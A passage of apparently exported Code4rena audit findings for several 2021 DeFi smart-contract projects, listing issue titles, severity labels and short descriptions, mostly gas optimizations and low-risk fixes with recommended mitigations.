"https://github.com/code-423n4/2021-09-bvecvx-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There are variables that do not change so they can be marked as immutable to greatly improve the gast costs. Examples of such variables are: Limbo.sol ```solidity FlanLike Flan; ``` TokenProxyLike.sol ```solidity address internal baseToken; ``` ProposalFactory.sol ```solidity string public description; LimboDAOLike DAO; ``` Please review all the state variables and apply immutable where possible. "}, {"title": "Use cached _ethBalance", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Use cached _ethBalance"}, {"title": "_processPerformanceFees is useless now", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function _processPerformanceFees is not used. functions _processPerformanceFees and _processRewardsFees are way too similar. _processPerformanceFees can be eliminated and _processRewardsFees used by passing want as a _token parameter. "}, {"title": "Frontrunning distribute functions", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/22", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Frontrunning distribute functions"}, {"title": "events in BaseStrategy are never emitted", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/21", "labels": ["bug", "0 (Non-critical)"], "target": "2021-09-bvecvx-findings", "body": "events in BaseStrategy are never emitted"}, {"title": "Order of parameters in KickReward event", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/20", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Order of parameters in KickReward event"}, {"title": "Validations", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/19", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Validations"}, {"title": "Functions not returning declared values", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/18", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function withdrawAll in BaseStrategy declares 'returns (uint256 balance)', however, no actual value is returned. function reinvest in MyStrategy declares to return 'uint256 reinvested', however, it also actually does not return anything so they always get assigned a default value of 0. ## Recommended Mitigation Steps Either remove the return declarations or return the intended values. Otherwise, it may confuse other protocols that later may want to integrate with you. "}, {"title": "The comments incorrectly indicate the range in which `toLock` input should be given.", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/15", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle tabish # Vulnerability details ## Impact Detailed description of the impact of this finding. The input `toLock` in the `manualRebalance` function should in terms of BPS else `toLock` should be changed accordingly in the function. The comments incorrectly indicate the range in which the input `toLock` should be given. https://github.com/code-423n4/2021-09-bvecvx/blob/1d64bd58c7a4224cc330cef283561e90ae6a3cf5/veCVX/contracts/veCVXStrategy.sol#L443 ## Recommended Mitigation Steps In the comments `toLock` should be = 10_000 as we are comparing with `MAX_BPS` https://github.com/code-423n4/2021-09-bvecvx/blob/1d64bd58c7a4224cc330cef283561e90ae6a3cf5/veCVX/contracts/veCVXStrategy.sol#L446 "}, {"title": "Declare CvxLocker erc20 contract variables as immutable", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle patitonar # Vulnerability details ## Impact Gas optimization to store variables as immutable instead of storage similar to `_decimals` ## Proof of Concept https://github.com/code-423n4/2021-09-bvecvx/blob/1d64bd58c7a4224cc330cef283561e90ae6a3cf5/veCVX/contracts/locker/CvxLocker.sol#L112-L114 ## Tools Used Manual review ## Recommended Mitigation Steps Declare as following: string private immutable _name; string private immutable _symbol; "}, {"title": "Make variable veCVXStrategy::MAX_BPS constant", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact Variable `MAX_BPS` in the veCVXStrategy is never reset after initialization. Declaring it as a constant saves gas. ## Tools Used slither "}, {"title": "Faulty return value in veCVXStrategy::reinvest()", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/12", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact The function `reinvest` in the veCVXStrategy always returns 0 as the return variable `reinvested` is never updated. The function is `onlyGovernance` and the return value probably does not matter if the caller is a multi-sig. However, if a protocol is set as `onlyGovernance` the faulty return value would have to be ignored by the caller to not transition into an incorrect state. ## Proof of Concept The variable `reinvested` is declared as return variable (line 400) but not updated to reflect the actual amount reinvested which is saved in variable `toDeposit`. Therefore always the default value is returned (0). Link: https://github.com/code-423n4/2021-09-bvecvx/blob/32ecfd005d421f29c3846f4609fec33eaad388b9/veCVX/contracts/veCVXStrategy.sol#L400 ## Recommended Mitigation Steps Add `reinvested = toDeposit;` after line 412. "}, {"title": "Reentrancy on distributeOther()", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/9", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Reentrancy on distributeOther()"}, {"title": "Refactor code to use calculations at current epoch", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Refactor code to use calculations at current epoch"}, {"title": "Gas optimization: no need for extra variable declaration", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Gas optimization: no need for extra variable declaration"}, {"title": "toLock in the comments is a % while in the code it is measured in bips.", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/6", "labels": ["bug", "0 (Non-critical)"], "target": "2021-09-bvecvx-findings", "body": "toLock in the comments is a % while in the code it is measured in bips."}, {"title": "ManualRebalance will be frontrun for most of the tokens.", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/5", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle tensors # Vulnerability details ## Impact We have previously seen that the harvest function can be exploited for almost all the tokens at stake. Since ManualRebalance calls harvest, it is also unsafe and funds swapped using it will likely be lost. ## Proof of Concept https://github.com/code-423n4/2021-09-bvecvx/blob/1d64bd58c7a4224cc330cef283561e90ae6a3cf5/veCVX/contracts/veCVXStrategy.sol#L444-L453 ## Recommended Mitigation Steps Adding an amount out minimum here will work that should be passed on to the harvest method. "}, {"title": "Don't include unused functions", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/4", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle tensors # Vulnerability details ## Impact The code includes unused functions, like tend(), L319. It's best practice to remove these. It will also save gas. ## Proof of Concept https://github.com/code-423n4/2021-09-bvecvx/blob/1d64bd58c7a4224cc330cef283561e90ae6a3cf5/veCVX/contracts/veCVXStrategy.sol#L319 ## Recommended Mitigation Steps Remove the unused function. "}, {"title": "setKeepReward function is unfinished", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/1", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle tensors # Vulnerability details ## Impact The setKeepReward function is unfinished. ## Proof of Concept https://github.com/code-423n4/2021-09-bvecvx/blob/1d64bd58c7a4224cc330cef283561e90ae6a3cf5/veCVX/contracts/veCVXStrategy.sol#L203 ## Recommended Mitigation Steps Either complete the function or follow the comment above the code and remove it. "}, {"title": "Race condition on ERC20 approval", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/120", "labels": ["bug", "1 (Low Risk)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/ERC20Permit.sol#L112-L116 ```solidity=112 function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool) { _approve(msg.sender, spender, value); return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data); } ``` ```solidity=208 function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), \"ERC20: transfer from the zero address\"); require(recipient != address(0), \"ERC20: transfer to the zero address\"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } ``` Using approve() to manage allowances opens yourself and users of the token up to frontrunning. Best practice, but doesn't usually matter. [Explanation](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit) of this possible attack vector See also: [0xProject/0x-monorepo#850](https://github.com/0xProject/0x-monorepo/issues/850) Using increase/decreaseAllowance instead is recommended. "}, {"title": "Add nonReentrant modifiers to uniswap position methods + Check effects pattern", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/118", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Add nonReentrant modifiers to uniswap position methods + Check effects pattern"}, {"title": "Oracle should call latestRoundData instead.", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/116", "labels": ["bug", "1 (Low Risk)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Oracle should call latestRoundData instead."}, {"title": "Improper File Imports", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/115", "labels": ["bug", "0 (Non-critical)", "sponsor-disputed"], "target": "2021-09-wildcredit-findings", "body": "Improper File Imports"}, {"title": "Lack of check for address(0) in `LendingPair.depositUniPosition`", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/112", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Lack of check for address(0) in `LendingPair.depositUniPosition`"}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/108", "labels": ["bug", "0 (Non-critical)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Style issues"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Unused imports"}, {"title": "Ensure targetUtilization > 0", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/105", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Ensure targetUtilization > 0"}, {"title": "Only accept ETH from WETH contract", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/103", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Only accept ETH from WETH contract"}, {"title": "Oracle response assumes 8 decimals", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/101", "labels": ["bug", "1 (Low Risk)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Oracle response assumes 8 decimals"}, {"title": "Emit events when setting the initial values in the constructor", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/100", "labels": ["bug", "0 (Non-critical)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Emit events when setting the initial values in the constructor"}, {"title": "Reordering state variable declarations to prevent incorrect packing can save slots/gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Reordering state variable declarations to prevent incorrect packing can save slots/gas"}, {"title": "Avoiding unnecessary SSTORE can save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Avoiding unnecessary SSTORE can save gas"}, {"title": "Using msg.sender or cached locals in emits instead of state variables saves gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Using msg.sender or cached locals in emits instead of state variables saves gas"}, {"title": "Unused parameter removal can save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Unused parameter removal can save gas"}, {"title": "`setTargetUtilization()` Misleading error message", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/86", "labels": ["bug", "0 (Non-critical)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "`setTargetUtilization()` Misleading error message"}, {"title": "Moving checks before other logic can save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Moving checks before other logic can save gas"}, {"title": "Use unchecked{} primitive to save gas where possible", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Use unchecked{} primitive to save gas where possible"}, {"title": "Input validation on amount > 0 will save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Input validation on amount > 0 will save gas"}, {"title": " Input validation on positionID not being 0 will save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": " Input validation on positionID not being 0 will save gas"}, {"title": "Redundant zero-address checks", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Redundant zero-address checks"}, {"title": "Caching state variables in local/memory variables avoids SLOADs to save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Caching state variables in local/memory variables avoids SLOADs to save gas"}, {"title": "Clone-and-own approach used for OZ libraries is susceptible to errors and missing upstream bug fixes", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/77", "labels": ["bug", "0 (Non-critical)", "sponsor-disputed"], "target": "2021-09-wildcredit-findings", "body": "Clone-and-own approach used for OZ libraries is susceptible to errors and missing upstream bug fixes"}, {"title": "Lack of guarded launch approach may be risky", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor-disputed"], "target": "2021-09-wildcredit-findings", "body": "Lack of guarded launch approach may be risky"}, {"title": "Missing event for this critical onlyOperator function where the operator can arbitrarily change name+symbol", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/74", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Missing event for this critical onlyOperator function where the operator can arbitrarily change name+symbol"}, {"title": "Cache and check decimals before write storage can save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Cache and check decimals before write storage can save gas"}, {"title": "Renouncing ownership is not allowed", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Renouncing ownership is not allowed"}, {"title": "Use of tokenB\u2019s price instead of tokenA in determining account health will lead to protocol mis-accounting and insolvency", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/70", "labels": ["bug", "3 (High Risk)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Use of tokenB\u2019s price instead of tokenA in determining account health will lead to protocol mis-accounting and insolvency"}, {"title": "Using a zero-address check as a proxy for enforcing one-time initialization is risky", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "sponsor-disputed"], "target": "2021-09-wildcredit-findings", "body": "Using a zero-address check as a proxy for enforcing one-time initialization is risky"}, {"title": "UniV3Helper: Function visibilities can be restricted to pure", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "UniV3Helper: Function visibilities can be restricted to pure"}, {"title": "Remove pair-specific parameters until they are actually used/enforced", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/65", "labels": ["bug", "0 (Non-critical)", "sponsor-disputed", "disagree-with-severity"], "target": "2021-09-wildcredit-findings", "body": "Remove pair-specific parameters until they are actually used/enforced"}, {"title": "UniswapV3Helper: Redundant pool initialization", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "UniswapV3Helper: Redundant pool initialization"}, {"title": "Missing threshold check for highRate", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/63", "labels": ["bug", "1 (Low Risk)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Missing threshold check for highRate"}, {"title": "UniswapV3Helper: Misleading param names for getSqrtPriceX96()", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor-disputed", "disagree-with-severity"], "target": "2021-09-wildcredit-findings", "body": "UniswapV3Helper: Misleading param names for getSqrtPriceX96()"}, {"title": "Constraint of minRate < lowRate can be broken", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Constraint of minRate < lowRate can be broken"}, {"title": "Incorrect error message strings with require()s", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/59", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Incorrect error message strings with require()s"}, {"title": "UniswapV3Helper: Avoid recomputation of sqrtRatio from pool tick", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "UniswapV3Helper: Avoid recomputation of sqrtRatio from pool tick"}, {"title": "Strict inequality should be relaxed to be closed ranges instead of open", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Strict inequality should be relaxed to be closed ranges instead of open"}, {"title": "Use of deprecated Chainlink API", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/55", "labels": ["bug", "2 (Med Risk)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Use of deprecated Chainlink API"}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/54", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Missing zero-address checks"}, {"title": "Missing SafeMath", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/53", "labels": ["bug", "1 (Low Risk)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Missing SafeMath"}, {"title": "Consider adding `account` parameter to event WithdrawUniPosition", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/51", "labels": ["bug", "0 (Non-critical)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Consider adding `account` parameter to event WithdrawUniPosition"}, {"title": "Supply part of the accrued debt can be stolen", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Supply part of the accrued debt can be stolen"}, {"title": "Gas: Unnecessary `_maxAmount` parameter in `repayAllETH`", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Gas: Unnecessary `_maxAmount` parameter in `repayAllETH`"}, {"title": "`LendingPair.withdrawUniPosition` should accrue debt first", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/48", "labels": ["bug", "2 (Med Risk)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "`LendingPair.withdrawUniPosition` should accrue debt first"}, {"title": "`UniswapV3Helper.getUserTokenAmount` could be simplified", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "`UniswapV3Helper.getUserTokenAmount` could be simplified"}, {"title": "Truncated math in `interestRatePerBlock`", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/46", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Truncated math in `interestRatePerBlock`"}, {"title": "Simple interest formula is used", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Simple interest formula is used"}, {"title": "Uniswap oracle assumes PairToken <> WETH liquidity", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Uniswap oracle assumes PairToken <> WETH liquidity"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/41", "labels": ["bug", "0 (Non-critical)", "disagree-with-severity", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Missing parameter validation"}, {"title": "The check if _checkBorrowEnabled and _checkBorrowLimits can be done earlier", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/40", "labels": ["bug", "0 (Non-critical)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "The check if _checkBorrowEnabled and _checkBorrowLimits can be done earlier"}, {"title": "Improve readability of constants", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/37", "labels": ["bug", "0 (Non-critical)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Improve readability of constants"}, {"title": "Reduce risk of rounding error in _timeRateToBlockRate", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/36", "labels": ["bug", "1 (Low Risk)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Reduce risk of rounding error in _timeRateToBlockRate"}, {"title": "transferLp() Misleading error message", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "transferLp() Misleading error message"}, {"title": "Change unnecessary _supplyBalanceConverted to _supplyOf can save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Change unnecessary _supplyBalanceConverted to _supplyOf can save gas"}, {"title": "Change unnecessary _borrowBalanceConverted to _debtOf can save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Change unnecessary _borrowBalanceConverted to _debtOf can save gas"}, {"title": "Liquidation can be escaped by depositing a Uni v3 position with 0 liquidity", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/30", "labels": ["bug", "3 (High Risk)", "disagree-with-severity", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Liquidation can be escaped by depositing a Uni v3 position with 0 liquidity"}, {"title": "Incorrect import ", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "sponsor-disputed"], "target": "2021-09-wildcredit-findings", "body": "Incorrect import "}, {"title": "PairFactory.sol is Ownable but not owner capabilites are used", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "PairFactory.sol is Ownable but not owner capabilites are used"}, {"title": "Declare the value when the variable is created ", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Declare the value when the variable is created "}, {"title": "Prefer abi.encode over abi.encodePacked", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/4", "labels": ["bug", "0 (Non-critical)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Prefer abi.encode over abi.encodePacked"}, {"title": "Use unchecked{} in ERC20 to save gas without risk", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor-acknowledged"], "target": "2021-09-wildcredit-findings", "body": "Use unchecked{} in ERC20 to save gas without risk"}, {"title": "Making PairFactory state vars immutable would save gas", "html_url": "https://github.com/code-423n4/2021-09-wildcredit-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "sponsor-confirmed"], "target": "2021-09-wildcredit-findings", "body": "Making PairFactory state vars immutable would save gas"}, {"title": "Inaccurate Revert Message", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/63", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `_decreaseUserTwab()` function is used to decrease an account's TWAB balance when Ticket tokens are transferred between users or delegated to other users. If the amount to decrease exceeds the account's TWAB balance, the function will revert. However, this message does not fully reflect the function's behaviour. ## Proof of Concept https://github.com/pooltogether/v4-core/blob/master/contracts/Ticket.sol#L364 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider updating the aforementioned revert message to correctly the function behaviour instead of a generic message. "}, {"title": "`PrizePool.awardExternalERC721()` Erroneously Emits Events", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/62", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `awardExternalERC721()` function uses solidity's try and catch statement to ensure a single tokenId cannot deny function execution. If the try statement fails, an `ErrorAwardingExternalERC721` event is emitted with the relevant error, however, the failed tokenId is not removed from the list of tokenIds emitted at the end of function execution. As a result, the `AwardedExternalERC721` is emitted with the entire list of tokenIds, regardless of failure. An off-chain script or user could therefore be tricked into thinking an ERC721 tokenId was successfully awarded. ## Proof of Concept https://github.com/pooltogether/v4-core/blob/master/contracts/prize-pool/PrizePool.sol#L250-L270 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider emitting only successfully transferred tokenIds in the `AwardedExternalERC721` event. "}, {"title": "Lack of Pause Mechanism", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/61", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-10-pooltogether-findings", "body": "Lack of Pause Mechanism"}, {"title": "Comment Typos", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/59", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle leastwood # Vulnerability details ## Impact There are a couple of typos found within the `Reserve.sol` contract. ## Proof of Concept https://github.com/pooltogether/v4-core/blob/master/contracts/Reserve.sol#L20 https://github.com/pooltogether/v4-core/blob/master/contracts/Reserve.sol#L21 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider updating the typo in `Reserve.sol:L20` from `speicific` to `specific` and the typo in `Reserve.sol:L21` from `determininstially` to `deterministically`. "}, {"title": "`YieldSourcePrizePool._canAwardExternal()` Does Not Prevent the Deposit Token From Being Withdrawn", "html_url": "https://github.com/code-423n4/2021-10-pooltogether-findings/issues/58", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-pooltogether-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `_canAwardExternal()` function is used to prevent 